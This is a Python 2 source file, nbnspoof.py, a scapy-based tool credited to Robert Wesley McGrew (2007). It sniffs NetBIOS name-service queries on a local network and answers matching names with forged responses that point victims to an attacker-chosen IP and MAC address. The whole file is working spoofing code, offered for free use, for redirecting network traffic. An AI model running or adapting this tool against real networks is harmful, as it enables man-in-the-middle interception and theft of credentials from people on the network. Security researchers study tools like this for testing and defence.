#!/usr/bin/env python2 # # nbnspoof.py # 03-27-2007 # Robert Wesley McGrew # wesley@mcgrewsecurity.com # # http://mcgrewsecurity.com # # Keeping things simple: You may use this code however you see fit, so # long as you give me proper credit. Email me if you have any # questions. import sys import getopt import re from scapy import * global verbose global regexp global ip global interface global mac_addr def usage(): print """Usage: nbnspoof.py [-v] -i -n -h -m -v Verbose output of sniffed NBNS name queries, and responses sent -i The interface you want to sniff and send on -n A regular expression applied to each query to determine whether a spoofed response will be sent -h The IP address that will be sent in spoofed responses -m The source MAC address for spoofed responses """ return def pack_ip(addr): temp = IP(src=addr) return str(temp)[0x0c:0x10] def unpack_ip(bin): temp = IP() temp = str(temp)[:0x0c] + bin + str(temp)[0x10:] temp = IP(temp) return temp.src def get_packet(pkt): global verbose global regexp global ip global interface global mac_addr if not pkt.getlayer(NBNSQueryRequest): return if pkt.FLAGS & 0x8000: query = False addr = unpack_ip(str(pkt.getlayer(Raw))[8:]) else: query = True if verbose: print str(pkt.NAME_TRN_ID) + ":", if query: print "Q", else: print "R", print "SRC:" + pkt.getlayer(IP).src + " DST:" + pkt.getlayer(IP).dst, if query: print 'NAME:"' + pkt.QUESTION_NAME + '"' else: print 'NAME:"' + pkt.QUESTION_NAME + '"', print 'IP:' + addr if query and regexp.match(pkt.QUESTION_NAME.rstrip(),1): response = Ether(dst=pkt.src,src=mac_addr) response /= IP(dst=pkt.getlayer(IP).src,src=ip) response /= UDP(sport=137,dport=137) response /= NBNSQueryRequest(NAME_TRN_ID=pkt.getlayer(NBNSQueryRequest).NAME_TRN_ID,\ FLAGS=0x8500,\ QDCOUNT=0,\ ANCOUNT=1,\ NSCOUNT=0,\ ARCOUNT=0,\ QUESTION_NAME=pkt.getlayer(NBNSQueryRequest).QUESTION_NAME,\ SUFFIX=pkt.getlayer(NBNSQueryRequest).SUFFIX,\ NULL=0,\ QUESTION_TYPE=pkt.getlayer(NBNSQueryRequest).QUESTION_TYPE,\ QUESTION_CLASS=pkt.getlayer(NBNSQueryRequest).QUESTION_CLASS) response /= Raw() # Time to live: 3 days, 11 hours, 20 minutes response.getlayer(Raw).load += '\x00\x04\x93\xe0' # Data length: 6 response.getlayer(Raw).load += '\x00\x06' # Flags: (B-node, unique) response.getlayer(Raw).load += '\x00\x00' # The IP we're giving them: response.getlayer(Raw).load += pack_ip(ip) sendp(response,iface=interface,verbose=0) if verbose: print 'Sent spoofed reply to #' + str(response.getlayer(NBNSQueryRequest).NAME_TRN_ID) return def main(): global verbose global regexp global ip global interface global mac_addr try: opts, args = getopt.getopt(sys.argv[1:],"vi:n:h:m:") except: usage() sys.exit(1) verbose = False interface = None name_regexp = None ip = None mac_addr = None for o, a in opts: if o == '-v': verbose = True if o == '-i': interface = a if o == '-n': name_regexp = a if o == '-h': ip = a if o == '-m': mac_addr = a if args or not ip or not name_regexp or not interface or not mac_addr: usage() sys.exit(1) regexp = re.compile(name_regexp,re.IGNORECASE) sniff(iface=interface,filter="udp and port 137",store=0,prn=get_packet) return if __name__ == "__main__": main()